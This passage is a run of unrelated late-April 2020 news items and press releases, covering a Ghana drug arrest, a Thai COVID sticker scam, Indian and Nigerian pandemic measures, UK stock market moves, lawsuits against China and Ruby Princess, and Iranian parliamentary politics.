on European Union directives and World Health Organization recommendations. Police said theyre continuing a probe into a number of social media posts on suspicion of incitement. Mavis was arrested on a Takoradi bound vehicle from Kpando by officials of the Ghana Immigration Service (GIS) at Asikuma near Peki in the Volta Region. Deputy Commissioner of Immigration, Mr. Peter Nantuo, who is also the Volta Regional Commander of GIS, disclosed this to journalists in Ho, said the fake pregnancy woman was intercepted at about 2000 hours on Sunday. He said the suspect's mannerism and body language gave her up when she was beckoned for search after the vehicle pulled up at the barrier. He stated that the quantity of the substance, the person's sex, or age did not matter in such arrests and that the motive was to discourage people from engaging in such illicit business, be it a national or a foreigner. Mr. Nantuo said the Volta region was developing notoriety for smuggling marijuana and warned people whose business falls into that category to stop. He asked landlords to be wary of foreigners who rent their apartments, stressing that with collaboration and sharing of intelligence with other security agencies, such crimes would be unearthed. He lauded the efforts of the officers and men for their patriotism and professionalism. The suspect was later handed over to the Volta Regional Drug Law Enforcement Unit of the Ghana Police Service in Ho for investigations. ---GNA Village chief nabbed for virus sticker scam BURI RAM: A village chief in Lahansai district of this northeastern province has been arrested for illegally demanding B20 each from villagers in return for a sticker showing they are free of COVID-19. CoronavirusCOVID-19healthcrimecorruption By Bangkok Post Tuesday 28 April 2020, 01:30PM An example of the covidvirus-free sticker for Buri Ram residents. Photo: Bangkok Post To stem the spread of COVID-19, the provincial communicable disease committee is issuing a small sticker with the words Buriram Healthy on it. The sticker is to be pasted on a corner of residents national identification cards to show that person is free of the virus, for use when entering stores that are reopening throughout the province. Foreign residents report being able to have it placed on their drivers licence. The heads of tambons and villagers are assigned to distribute the sticker free of charge to villagers who have met the standard health criteria set by the committee. The Buri Ram COVID-19 centre received complaints that the headman of Moo 12 village in tambon Nong Waeng in Lahansai district had demanded B20 each from villagers in return for the sticker. Police arrested the man, whose name was withheld, on Sunday (Apr 26) and charged him with malfeasance in violation of Section 157 of the Criminal Code. The headman denied the charge, but the police said there was solid evidence against him. A video of him demanding money was posted on social media. A 16-year-old girl tested positive for COVID-19 in Assam, taking the total number of such cases in the state to 36, state Health Minister Himanta Biswa Sarma said on Tuesday. Of the 36, eight are active cases, he said. Taking to Twitter, the minister said the girl from Salmara Bongaigaon is a secondary contact of a person who had attended the Tablighi Jamaat event in Delhi. She was under home quarantine when she tested positive for the disease, he said. "A 16-year-old girl from Salmara Bongaingaon, secondary contact of a Markaz attendee, has tested #COVID positive. The number of #COVID19 patients in Assam now stands at 36. However active hospital cases are 8," he tweeted. The last COVID-19 case was reported in the state on April 23 from Dhubri. Prior to that, two persons had tested positive in Morigaon district on April 16. All three of them are secondary contacts of Tablighi Jamaat event attendees and had been living in quarantine. The first man to test positive for coronavirus in the state, on March 31, is still undergoing treatment at Silchar Medical College and Hospital. He is a cancer patient. A person from neighbouring Nagaland is also undergoing treatment for COVID-19 at Guwahati Medical College Hospital. Assam has so far tested 8,117 samples in six laboratories. One person has succumbed to the disease in the state, while 27 have recovered. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) [April 28, 2020] Calian Awarded Defence Contract Valued up to $54M, For Aerospace, Technology and Engineering Training OTTAWA, April 28, 2020 (GLOBE NEWSWIRE) -- Calian Group Ltd. (TSX: CGY) has again been awarded a Department of National Defence (DND) contract to provide training services for the Canadian Forces School of Aerospace Technology and Engineering (CFSATE). CFSATE, based at Canadian Forces Base Borden, delivers aerospace, technical and engineering training and provides the Royal Canadian Air Force (RCAF) with qualified aircraft maintenance personnel. Under the contract, Calian will deliver training and other services to CFSATE, including course review, design and delivery and technology support. The initial contract term is two years, with an awarded value of approximately $18 million. With two optional extension periods of two years each, the aggregate contract value over the full six-year period is approximately $54 million. Calian was selected to deliver the previous CFSATE training support contract in 2016. Delivery on the new contract is expected to start August 1, 2020. This is an exciting contract award that affirms our commitment to training excellence for DND. We look forward to continue providing exceptional aircraft maintenance training services to the men and women of the RCAF in the years ahead, said Donald Whitty, Vice-President, Learning. This contract also supports the growth of learning services within Calian. As the broader learning environment evolves, we are excited to work with our clients to innovate and increase our capacity and capabilities with advanced technologies and approaches. Calian and CFSATE have been working closely together for over 15 years, to provide training and training support to RCAF technicians and officers. Many Calian employees working at the School are service veterans who are proud to give back with training that helps CFSATE generate operational capability. I look forward to working with the CFSATE leadership and our team in the delivery of this contract, said Paul Hallett, Senior Contract Manager, Calian. Calians growth is founded on customer retention the first pillar of our four-pillar growth framework. This contract award is another illustration of the Calian teams track record delivering high-quality services to meet our customers needs, stated Kevin Ford, President and CEO, Calian. About Calian < align="justify">Calian employs over 3,400 people in its delivery of diverse products and solutions for private sector, government and defence customers in North American and global markets. The Companys diverse capabilities are delivered through four segments: Advanced Technologies, Health, Learning and Information Technology. The Advanced Technologies segment provides innovative products, technologies and manufacturing services and solutions for the space, communications, defence, nuclear, government and agriculture sectors. The Health segment manages a network of more than 1,800 health care professionals delivering primary care and occupational health services to public and private sector clients across Canada. Learning is a trusted provider of emergency management, consulting and specialized training services and solutions for the Canadian Armed Forces and clients in the defence, health, energy and other sectors. The Information Technology segment supports public- and private-sector customer requirements for subject matter expertise in the delivery of complex IT and cyber security solutions. Headquartered in Ottawa, the Companys offices and projects span Canada and international markets. For further information, please visit our website at www.calian.com, or contact us at [email protected]. Kevin Ford Patrick Houston Media inquiries: President and Chief Executive Officer Chief Financial Officer Simon Doyle 613-599-8600 613-599-8600 613-599-8600 x 2205 ----------------------------------------------------------------------------- DISCLAIMER Certain information included in this press release is forward-looking and is subject to important risks and uncertainties. The results or events predicted in these statements may differ materially from actual results or events. Such statements are generally accompanied by words such as intend, anticipate, believe, estimate, expect or similar statements. Factors which could cause results or events to differ from current expectations include, among other things: the impact of price competition; scarce number of qualified professionals; the impact of rapid technological and market change; loss of business or credit risk with major customers; technical risks on fixed price projects; general industry and market conditions and growth rates; international growth and global economic conditions, and including currency exchange rate fluctuations; and the impact of consolidations in the business services industry. For additional information with respect to certain of these and other factors, please see the Companys most recent annual report and other reports filed by Calian with the Ontario Securities Commission. Calian disclaims any intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise. No assurance can be given that actual results, performance or achievement expressed in, or implied by, forward-looking statements within this disclosure will occur, or if they do, that any benefits may be derived from them. [ Back To TMCnet.com's Homepage ] Vice President Mike Pence speaks to President Trump during the White House coronavirus briefing on April 23. (Drew Angerer / Getty Images) To the editor: It is time for major newspapers to call for President Trump's resignation. Although his behavior should have led to his removal long ago, his actions during the pandemic are so beyond the pale that we cannot wait the eight months until former Vice President Joe Biden might be inaugurated ("Trump's improvised medicine show prompts frantic health warnings," April 24). Trump has minimized and mismanaged the crisis; forced states to compete against each other for crucial medical supplies, which the Federal Emergency Management Agency has confiscated; mused on camera about the efficacy of injecting disinfectants; and lied about all of this when confronted. We have months if not years ahead in the fight against coronavirus, and the U.S. cannot waste more time with Trump in charge. As a lifelong Democrat, I would definitely put my trust in Vice President Mike Pence someone whose politics are anathema to me over the president until January 2021. Jordan Deglise Moore, Los Angeles .. To the editor: While the limelight has addictive qualities, I believe Trump needs to withdraw from it. His addiction to the limelight has rendered him senseless. My husband is a doctor. He and his fellow healthcare workers now have to take precious time out of their overwhelming task of saving lives not only to procure protective equipment, testing kits and accurate information, but also to tell their desperate and scared patients that household disinfectants are indeed poisonous. Even if the president's comments were sarcastic, they have no place in a formal briefing about this pandemic that has taken more than 55,000 American lives. Anne Boulware-Albert, San Clemente .. To the editor: Usually I don't kill bugs that get into the house. But recently I turned on a light in a dark room and saw a very big roach on the floor. I had to get it. There was nothing handy to use before it would have scurried away, so I stomped on it. That killed the bug. I had a revelation. The next morning I called my doctor and asked him if he could get some research going to find out if stomping on patients' lungs would kill the coronavirus bug. My doctor told me to shut up, but many people are now talking about this very great idea for a cure. Ira Spiro, Los Angeles Australian families and businesses will lose $60 billion by the end of the coronavirus crisis, economists believe, as it's claimed up to 95 per cent of the infected global population would have been spared if China acted faster to contain the outbreak. The new economic modelling is based on a nationwide shutdown of non-essential services from April to September, meaning if the pandemic persists, losses could be significantly higher. The findings come as more than 1,000 Australians join a class action worth an estimated $AUD10 trillion against China for not immediately working to contain the virus. Governments are immune from civil litigation under international treaties, meaning the prospect of success in a lawsuit against China is essentially non-existent. Australia has 6,729 known cases of COVID-19 and 88 deaths so far, a million people have lost their jobs. New Deloitte Access Economics modelling estimates $8.1 billion could be wiped from the accommodation and food services sector in the months from April to August Scientists (pictured from Australia's Animal Health Laboratory) and authorities are yet to determine where the COVID-19 originated According to experts, hard working families and businesses will lose at least $60billion dollars in the coming months. New Deloitte Access Economics modelling estimates $8.1 billion could be wiped from the accommodation and food services sector in the months from April to August. The arts would likely be the second worst hit, with a staggering loss of $6.4 billion. Real estate, retail and healthcare sectors will also take a hit in the coming months, as Australians are warned social distancing practices and restrictions on travel will be the new norm for the foreseeable future. Jeremy Alters, head strategist at Berman Law Group, told News Corp China should be held accountable for the way the virus tore through every corner of the map. Mr Alters said had China acted sooner to contain the deadly respiratory virus, widely believed to have originated in a wet market in Wuhan, up to 95 per cent of the infected population would have been spared. 'It's at least 95 per cent, because had they closed the city when they first learned about the human to human transmission it would have bought the world somewhere between six and eight extra weeks before it ever got here,' he said. This graph shows the percentage of employees put out of work during the coronavirus crisis according to new modelling Vendors wearing face masks as they offer prawns for sale at a market in Wuhan where reports of the virus first emerged in December The city of Wuhan was officially locked down on January 23, but research conducted by Britain's University of Southampton suggests if officials had acted just a week sooner, the dynamic of the virus would be worlds away from what it is currently. 'Conducted one week, two weeks, or three weeks earlier in China, cases could have been reduced by 66 per cent, 86 per cent, and 95 per cent, respectively, together with significantly reducing the number of affected areas,' the study concludes. Mr Alters said: 'China's leaders must be held accountable for their actions. Our goal is to expose the truth.' China faces accusations that it suppressed data, blocked several outside teams of public health experts and silenced doctors trying to warn about the epidemic when it broke out late last year. Australia has 6,729 known cases of COVID-19 and 88 deaths so far, a million people have lost their jobs, and the economic hit an estimated $60 billion dollars, at least Australia's way of life has been changed for the foreseeable future and once stable industries have been hard hit in the crisis Prime Minister Scott Morrison and US President Donald Trump are among world leaders demanding an independent probe into the virus. They hope to determine whether information was disseminated satisfactorily and where the virus truly originated. An independent inquiry will also examine whether China is at fault at all for its handling of the crisis. Three years ago, Berman Law Group won a US$1.2 billion case against China over the manufacture of defective building materials. Australian National University law professor Donald Rothwell told Daily Mail Australia it would be 'very difficult' to think of a way around the state immunity. 'The Chinese Communist Party enjoys very broad immunity, as does any state, so getting around that would be exceptionally difficult,' he said. A Melbourne scientists at the Doherty Institute investigating the coronavirus in February President Xi Jinping must answer tough questions over China's actions on Covid-19, as lawyers in the US prepare to sue the nation for 'trillions' of dollars over the coronavirus outbreak This has not stopped American lawyers launching massive class actions along with a separate lawsuit by the U.S. state of Missouri. The class action, which involves thousands of claimants from 40 countries including Britain and the US, was filed in Florida last month. A caller to 2GB radio on Wednesday night said he had signed up to the class action and the Australian Government should also go after China. 'How we look to paying for all of this after it's over, the first thing we should look to is going after Communist China and its companies here, because they clearly lied to the world,' he said. 'Think about it, $320 billion of our money and we don't know what the death toll is going to be or the health implications for those who recover. 'When the government says they want to increase my taxes, I'll say 'what are you going to recover from Communist China and its assets here?'' Beaches have been forced closed throughout the nation to slow the spread of the virus. Pictured: A woman wearing a face mask as she walks past a 'beach closed' sign Testing can now be conducted from the comfort of your car to ensure the safety of all involved. Pictured: The drive-through testing clinic in Bondi A report by British think-tank the Henry Jackson Society claimed China could be sued for $6.42 trillion by the G7 nations alone - including $37 billion for Australia. The U.S. legal claim was launched by Berman Law Group, a Miami based firm that employs the brother of Democratic presidential candidate Joe Biden as an adviser. A second case launched this month on behalf of healthcare workers accuses China of hoarding life-saving medical supplies. Another action is from an Israeli human rights lawyers that specialises in suing states for terrorism. Lawyers argue that although nations have legal immunity, there are exceptions under U.S. law for personal or property damages and for actions abroad that impact on businesses in their own borders. However, Yale University law professor and former U.S. Supreme Court clerk Stephen L Carter shot down this suggestion, along with any other loopholes, as the sovereign immunity provision is bulletproof. 'The government of China is protected by the doctrine of sovereign immunity, and the regime's undoubted misconduct does not constitute sufficient grounds for a waiver,' he wrote in a Bloomberg column. A woman wearing a protective mask is seen past a portrait of Chinese President Xi Jinping on a street as the country is hit with fresh accusations Prospects are far better for the more than 600 victims of the Ruby Princess debacle as the cruise operator could be accused of breaching its duty of care. Professor Rothwell said the best bet was to sue Princess Cruises or its parent company Carnival in U.S. courts. 'American passengers have not only become infected but some have died,' he told Daily Mail Australia. 'So an international class action through the U.S. courts would be the most obvious way to go because they are sympathetic to these types of claims and the prospects of success are very strong.' Professor Rothwell said Australians should be able to join them, provided they can prove a relevant connection and were able to travel to the U.S. However, he said it would be difficult to prove claimants caught coronavirus from being on the ship as it stopped in New Zealand, and many passengers also travelled home interstate after disembarking in Sydney Harbour. 'A better question is what duty of care did Princess Cruises have towards passengers?' he said. Prospects are far better for the more than 600 victims of the Ruby Princess (pictured) debacle as the cruise operator could be accused of breaching its duty of care Chung Chen, 64, died on April 4 in Los Angeles after getting coronavirus during the cruise and his family has already filed a $1.6 million lawsuit in U.S. courts. 'If [the] plaintiffs had knowledge of the actual risk of exposure prior to boarding, they would have never boarded the ship, and they would've boarded the first flight out of Australia and returned home,' the lawsuit said. Sydney couple Michael Dobrin, an 82-year-old Holocaust survivor, and his wife Rona, 75, both contracted coronavirus on board and said they wanted to sue. Ms Dobrin said the crew never told passengers the virus might be on the ship even after swabbing 13 potential cases for testing in Sydney. 'We would have isolated ourselves in the cabin if we'd known. We're not spring chickens, we're high risk,' she told Daily Mail Australia. 'People have been let off the ship, with no testing, flying all over the place without knowing they might have it. 'I'm seething with bloody rage. Princess Cruises has a lot to answer for. We should all start a class action lawsuit.' Chung Chen, 64, died on April 4 in Los Angeles from COVID-19 after travelling on the Ruby Princess, which finished it's voyage in Sydney. Pictured with his wife and daughter (Sharecast News) - London stocks managed to close positive on Tuesday, with BP shares rising even further through the afternoon as the oil major maintained its dividend, despite a slide in quarterly profits. The FTSE 100 ended the session up 1.91% at 5,958.50 and the FTSE 250 was 2.12% firmer at 16,291.58. Sterling was mixed against its major trading pairs, last rising 0.1% on the dollar to $1.2444, while slipping 0.02% against the euro to 1.1477. "Further gains for the FTSE 100 look odd on a morning when major components like BP and HSBC report poor earnings, but for the most part the gainers in the index are those that will see an upturn in activity as lockdowns ease across most of the globe, if perhaps not yet in the UK," said Chris Beauchamp, chief market analyst at IG. "This continues the theme from yesterday's session, when it seemed as if the whole world was looking to a post-coronavirus environment, when some semblance of normality may return. "As with US earnings season, the numbers contained within BP's and HSBC's updates mostly related to the recent past, which perhaps accounts for the limited downside reaction in their share prices." BP reversed earlier losses to finish up 2.58% as it posted a 66% slump in first-quarter profits due to collapsing oil prices and "demand destruction" caused by the coronavirus pandemic but said it had decided to retain a dividend. "The decision to hold on to the dividend at BP has also proven to be a positive surprise, the firm likely judging that the hit to its cash pile is outweighed by the headline risks to confidence that could follow should one of the UK's big dividend firms have to cut back its payout," said Beauchamp. Retailer Marks & Spencer was ahead 3.29%, also reversing morning losses, despite saying that it does not expect to pay a dividend for the 2021 financial year. That came even as data from the Confederation of British Industry showed that retailers suffered their worst fall in sales since the 2008 financial crisis in the first half of April amid the lockdown. The CBI Distributive Trades Survey recorded the sharpest fall in sales in the year to April since December 2008, with a balance of -55% compared to -3% in March, making for the joint lowest balance since the survey began. Every sub-sector reported a negative balance, with grocers tumbling from 94% to -27%, and specialist food and drink falling to -4% from 42%, as lockdown measures were introduced and stockpiling eased. Retailers also expect a similar pace of decline next month, with a balance of -54% the weakest expectation on record. "It is no surprise that lockdown is hitting retailers hard," said Rain Newton-Smith, the CBI's chief economist. "Two fifths have shut up shop completely for now, and sales of groceries and other essentials also feel, suggesting households may have been dipping into stockpiles or tightening their belts." Elsewhere, HSBC's London shares managed to sneak above the waterline late in the session, closing up 1.02% after the bank said first-quarter profit almost halved as revenue fell. It also set aside $3bn for credit losses after the Covid-19 crisis took its toll on financial performance. Pre-tax profit for the three months to the end of March dropped 48% to $3.2bn from a year earlier as revenue fell 5% to $13.7bn. Market Movers FTSE 100 (UKX) 5,958.50 1.91% FTSE 250 (MCX) 16,291.58 2.12% techMARK (TASX) 3,563.36 0.70% FTSE 100 - Risers Lloyds Banking Group (LLOY) 33.25p 8.88% JD Sports Fashion (JD.) 522.60p 8.54% Informa (INF) 453.60p 8.49% Carnival (CCL) 996.40p 8.02% Legal & General Group (LGEN) 205.00p 7.61% RSA Insurance Group (RSA) 370.60p 7.39% Barclays (BARC) 97.76p 7.36% Prudential (PRU) 1,113.00p 7.07% Royal Bank of Scotland Group (RBS) 115.05p 7.02% Hargreaves Lansdown (HL.) 1,600.00p 6.14% FTSE 100 - Fallers easyJet (EZJ) 572.20p -2.85% Evraz (EVR) 246.90p -2.45% Fresnillo (FRES) 704.20p -2.03% Reckitt Benckiser Group (RB.) 6,454.00p -1.91% Hikma Pharmaceuticals (HIK) 2,323.00p -1.40% AstraZeneca (AZN) 8,188.00p -1.23% International Consolidated Airlines Group SA (CDI) (IAG) 217.90p -1.00% GlaxoSmithKline (GSK) 1,687.60p -0.90% DCC (DCC) 5,520.00p -0.83% Unilever (ULVR) 4,071.00p -0.76% FTSE 250 - Risers Cineworld Group (CINE) 63.36p 17.07% Micro Focus International (MCRO) 450.50p 15.31% Wood Group (John) (WG.) 175.00p 10.55% Petrofac Ltd. (PFC) 168.55p 9.84% Pantheon International (PIN) 1,944.00p 9.55% Games Workshop Group (GAW) 5,805.00p 9.12% Virgin Money UK (VMUK) 79.34p 9.07% OneSavings Bank (OSB) 236.00p 8.96% IP Group (IPO) 54.40p 8.91% PayPoint (PAY) 634.00p 8.01% FTSE 250 - Fallers Aston Martin Lagonda Global Holdings (AML) 55.05p -5.66% Centamin (DI) (CEY) 162.55p -3.16% Avon Rubber (AVON) 2,645.00p -3.11% Avast (AVST) 439.60p -2.79% QinetiQ Group (QQ.) 308.80p -2.77% Greencoat UK Wind (UKW) 135.20p -2.58% Serco Group (SRP) 130.60p -2.39% Genus (GNS) 3,584.00p -2.24% Hochschild Mining (HOC) 131.40p -2.23% Hill & Smith Holdings (HILS) 1,102.00p -2.13% The industrial cleaning chemicals market is expected to grow by USD 10.96 billion during 2020-2024. The report also provides the market impact and new opportunities created due to the COVID-19 pandemic. The impact can be expected to be significant in the first quarter but gradually lessen in subsequent quarters with a limited impact on the full-year economic growth, according to the latest market research report by Technavio. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005732/en/ Technavio has announced its latest market research report titled Global Industrial Cleaning Chemicals Market 2020-2024 (Graphic: Business Wire) Request for Technavio's latest reports on directly and indirectly impacted markets Market estimates include pre- and post-COVID-19 impact on the industrial cleaning chemicals market Request a free sample report The COVID-19 pandemic will have a direct impact on the materials industry. However, there will not be any major impact of the pandemic on the industrial cleaning chemicals market. End-users are not expected to increase or decrease their consumption neither stock more supplies. But the market outlook might change if the containment efforts go beyond Q2 2020. Technavio's custom research reports offer detailed insights on the impact of COVID-19 at an industry level, a regional level, and subsequent supply chain operations. This customized report will also help clients keep up with new product launches in direct indirect COVID-19 related markets, upcoming vaccines and pipeline analysis, and significant developments in vendor operations and government regulations. The growing prevalence of chronic diseases and the rising emphasis on promoting a healthy lifestyle among the population has increased the spending on healthcare by both developing and developed countries. For instance, in 2019, Canada spent more than one-tenth of its GDP on healthcare. Similarly, between 2000 and 2016, the per capita healthcare spending of China increased by almost 850%. The growth in healthcare spending is resulting in an increase in the number of healthcare facilities and equipment manufacturing units. These facilities require industrial cleaning chemicals to ensure hygiene as well as to prevent contamination. Therefore, the increase in healthcare spending is expected to drive the growth of the global industrial cleaning chemicals market during the forecast period. To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR43341 As per Technavio, the rising awareness about workplace hygiene will have a positive impact on the market and contribute to its growth significantly over the forecast period. This research report also analyzes other significant trends and market drivers that will influence market growth over 2020-2024. Industrial Cleaning Chemicals Market: Rising Awareness About Workplace Hygiene Harmful gases and chemicals released during the manufacturing process have a detrimental impact on the health of workers as well as the machinery used. Hence, it is imperative for manufacturing companies to ensure the cleanliness of manufacturing areas and eliminate hazardous chemicals produced during the process. This has increased the use of cleaning chemicals across end-user industries such as metal, paint, automobile, textile, and paper. Also, regulatory bodies across the globe have defined health standards to contain, prevent, or minimize hazards at the workplace to improve workplace hygiene. These factors are fueling the growth of the global industrial cleaning chemicals market. "Rising urbanization in developing countries and the growth of the hospitality industry will further boost market growth during the forecast period," says a senior analyst at Technavio. Register for a free trial today and gain instant access to 17,000+ market research reports Technavio's SUBSCRIPTION platform Industrial Cleaning Chemicals Market: Segmentation Analysis This market research report segments the industrial cleaning chemicals market by end-user (manufacturing and commercial offices, healthcare, retail and foodservice, hospitality, and others) and geography (APAC, North America, Europe, South America, and MEA). The APAC region led the industrial cleaning chemicals market in 2019, followed by North America, Europe, South America, and MEA respectively. During the forecast period, the APAC region is expected to register the highest incremental growth due to the emergence of China as a global leader in the manufacturing sector. Technavio's sample reports are free of charge and contain multiple sections of the report, such as the market size and forecast, drivers, challenges, trends, and more. Request a free sample report Some of the key topics covered in the report include: Market Drivers Market Challenges Market Trends Vendor Landscape Vendors covered Vendor classification Market positioning of vendors Competitive scenario About Technavio Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005732/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ BAKU, Azerbaijan, April 28 By Elchin Mehdiyev - Trend: The softening of the quarantine regime in Azerbaijan since April 27 does not affect the local real estate market, Director General of the MBA Group consulting company, real estate expert Nusrat Ibrahimov told Trend. At present, activity of real estate companies is temporarily banned, and evaluation experts are not allowed to work. As for buyers and sellers, they are allowed to leave the house for only three hours during the day. During this time, it is extremely difficult to carry out buying and selling real estate. In view of the above, softening the quarantine regime has not yet affected the situation in the real estate market, the expert stressed. He said that activity in the market is still extremely weak. In view of this, it is difficult to say anything about prices. Upswing in the real estate market can be observed only after the market's main participants are allowed to work, Ibrahimov added. --- Follow the author on Twitter: agdzhaev A Melbourne tram driver has launched a most original and intriguing Wagner project: reinterpreting it for an unlikely trio of instruments. Mark Papworth CD cover for Siegfried's Story. Mark Papworth, a highly accomplished musician who studied in Melbourne, Perth and the United States, is at home on very different types of French horn: baroque, natural and modern. He fell in love with Wagners four-opera Ring cycle at 16 when he heard Georg Soltis famous recordings, and its blown my mind ever since. In 2011, after studying at the University of Indiana, he returned to Melbourne and began adapting sections of the Ring for French horn and piano. In 2016, when he had eight pieces, tuba player Per Forsberg expressed an interest. So Papworth reworked all eight, giving the meaty bass parts to the tuba, and adding four new movements. The Federal Capital Territory Administration (FCTA) has kicked against the plan for online resumption of the 2019/2020 third term by private school owners in the territory. FCTA also urged parents and guardians to ignore the purported resumption by the private school owners. In a statement on Tuesday afternoon, the acting Education Secretary for FCT, Umar Marafa, said the directive issued to schools at the outset of the COVID-19 pandemic stated that they should be closed until further notice. He said that implies that no academic activities in all schools in any form shall commence until a notice to reopen is approved and conveyed by the secretariat. It has come to the notice of the FCTA Education Secretariat that some private schools in the FCT are disseminating information to parents and students indicating the resumption the 2019/2020 3rd term calendar online and parents were therefore expected to pay schools fees for this term prior to the purported resumption, he said. According to him, when the schools reopen, the fact that the second term was inconclusive would be factored into the academic calendar which will dovetail into the third term calendar, accordingly. He said any action taken otherwise is likely to distort the academic calendar of the schools involved. In light of the above, any school purporting to reopen for 3rd term before the approved calendar for the opening of school post-Covid-19 is doing so against the provisions of the extant guidelines on the establishment and operation of schools in the FCT, he said. He advised the school proprietors and proprietress to maintain the status quo, keep their schools closed and not re-open in any form while they await further directives from the FCTA. Violators of this directive will face the full wrath of the law, he said. The FCTA education secretariat has however concluded plans to introduce e-learning platforms to include lessons on radio and television channels to keep the students constructively engaged while the lockdown lasts, he said. Schools remain closed Due to the outbreak of coronavirus, the federal government had ordered the closure of all Nigerian institutions to help contain the spread. PREMIUM TIMES reported how the Federal Ministry of Education said it had not directed the reopening of any school at any level. Last week, the federal government launched a free e-learning portal for primary and secondary schools following the closure of schools nationwide to prevent the spread of COVID-19 pandemic. Currently, Nigeria has 1337 confirmed cases of coronavirus, 255 discharged patients and 40 deaths. Mumbai Police Commissioner Param Bir Singh has sent a communique to all the 94 police stations in the city stating that police personnel, who are above 55 years in age, dont need to report to work till the second phase of the ongoing nationwide restrictions, which were imposed on April 15 for another 19 days to contain the spread of the coronavirus disease (Covid-19) outbreak. The second phase of the lockdown ends on May 3. The communique has been sent after three Mumbai Police personnel died and 55 others contracted SARS-CoV-2, which causes Covid-19. Follow latest updates on coronavirus here The order stipulates that police personnel, who are above 50 years and are suffering from multiple ailments such as hypertension, diabetes or any other major disease, can feel free to go on leave. The decision has been taken in light of the fact that people above 50 years are one of the most susceptible to get infected. Hence, they dont have the compulsion to report to work till May 3, said an assistant commissioner of police, requesting anonymity. Also read: Heres list of 16 districts in India with no new Covid-19 case in last 28 days If any police personnel, who is above 55 years comes for work, then that person wont be given a field duty because he has a higher chance of getting infected, said a senior police inspector. Singhs directive seeks to protect 45,000-strong Mumbai Police from the raging Covid-19 outbreak. Click here for complete coronavirus coverage A vast section of the personnel has been deployed across the city to ensure Mumbaikars are strictly enforcing social distancing norms and lockdown restrictions. Theyre also involved in the management of containment zones across the city, said a senior police officer, requesting anonymity. If we feel there is a shortage of manpower, additional forces will be sought from local arms (LA). They will be deployed in Covid-19-hit areas, he added. As the COVID-19 pandemic continues, mental health professionals advocate for healthy use of time and actions that make a positive difference in ones life. Former Miss Laredo Latina, Jackye Calderon, had a brush with anxiety which resulted in her shaving her head impulsively in order to help clear her mind and empower herself through the pandemic. NEW SYMPTOMS: CDC identifies six new possible symptoms of COVID-19 Calderon said that the thought of shaving her head stemmed from wanting healthier hair but was nervous of the outcome. She believes that a woman with a shaved head carries a heavy stigma and she figured that it would be easier to shave her head during the lockdown. She then realized that there was no point in hiding because while she may have faced the pressure to look a certain way in 2018, that is not who she is now. So, after shaving her head, she hopes to send a message that the length of a womans hair does not define beauty. On her first Facebook post, she cited a VICE article about how women around the world are treated after they shave their hair, resulting in assumptions of being on the LGBTQ spectrum or that they are a cancer patient. According to Amanda Michelle, local cosmetologist and barber, a hairstyle is a vehicle for people looking for a change. We come from a very conservative Mexican culture where we as women are told to never cut our hair and to keep it long, Michelle said. Its a symbol of your womanhood to have beautiful hair. This pressure is compounded by media and internet standards where models and TV anchors dictate how women should look and what makes a woman beautiful, Michelle said. There is always a pressure for women to look put together, and a shaved head, half-shaved head or unorthodox hair color are not part of that look. These ideas placed on women are due to societys standards, she said; gender roles do not allow women to look however they please without repercussions. Whether it is a shaved head or even strong and bulging muscles, these women will be seen masculine by society in general, Michelle noted. Protesters have rallied across the country demanding businesses such as hair salons to re-open. Michelle said that there are more important issues at hand than a few exposed roots and tangles. (Calderon) wanted to shave her head because she didnt want to deal with it anymore, and in the pandemic its not a priority, she said. I commend her for it. Any woman that shaves her head, I support it because its their choice and not societys. SELECTIVE OPENINGS: Abbot announces which Texas business can and cant open Regardless of if a woman has long straight hair, curls or a shaved head, their hair style needs to be about feeling good about themselves instead of appeasing society, Michelle said. Michelle spoke about how severe the standard is set for women. She saw a woman who was very attached to her long hair and did not want to cut it because her boyfriend liked it long. All my life, women have been told to have long, curly hair past your ears and I think its time for women to embrace what they are inside. If they feel like they are bald-headed beautiful goddesses inside, thats what they need to be, she said. Calderon said that once the deed was done and all her hair was shaved, she felt a sense of power that she controlled. She then realized that she would do it at any other time she pleased. This outlook helped turn the negative feelings from the pandemic into positive feelings that pacify the anxiety. If we dont fit the standard, we dont belong in our community, Calderon said. This brings up depression and anxiety in the community because we are trying to fit in. In 2018, Calderon won the title of Miss Laredo Latina thinking she did not fit the pageant standards. The hair, makeup and dresses were important, but not as important to ones own body positive messages and uniqueness. I would say three years ago, I was more naive about the power I could obtain just by loving myself. I wish it for everyone, she said. According to Calderon, the pageant world is a showcase of perfection, but each girl is a normal person who deserves be themselves no matter the circumstances. She believes that a girl with a shaved head may not win a pageant, but that all girls are beautiful. RELATED: S.A. eateries offering curbside pickup, delivery Whats beautiful is heart, personality, how to treat others and showcasing yourself, Calderon said. Were all different, and the message gets lost in the constant social pressure to look like the next big thing. She is now a Pillar case worker and has participated in multiple feminist movements to push forward a change in society. She has participated in the local Vagina Monologues, a play that explores sexual experiences, body image, sex work, vaginal care and other woman-focused topics. It was her first time performing, and she wanted to talk about those sensitive subjects and circumvent the idea that talking about a womans body is unladylike. Performing in the play is being able to have an outlet to talk about what women go through, Calderon said. A woman has periods, birth, and that cant be taken from us. We get to boast about it, and it is power. Christian Ocampo may be reached at cocampo@lmtonline.com Several conservative contestants for the post of the Speaker of Iran's Parliament (Majles) are trying to prevent Tehran's former Mayor Mohammad Baqer Qalibaf from winning the position, says reformist newspaper Ebtekar in Tehran. Iranian media were gossiping about Qalibaf's ambition to head the Majles even before the parliamentary elections in February. Among up to 11 contestants named by various media outlets in Iran for the post, Qalibaf is by far the most prominent one. He was still on top of one of the latest lists published by Fararu news website last week that narrowed down the list to 7 members of the newly elected parliament scheduled to open May 28. According to Fararu, six of the seven main contestants for the post are conservative figures, and only one, Massoud Pezeshkian, the current vice-speaker of the Majles is a reformist. The main conservative candidates who have declared their readiness for competing for the post include Paydari Front Leader Morteza 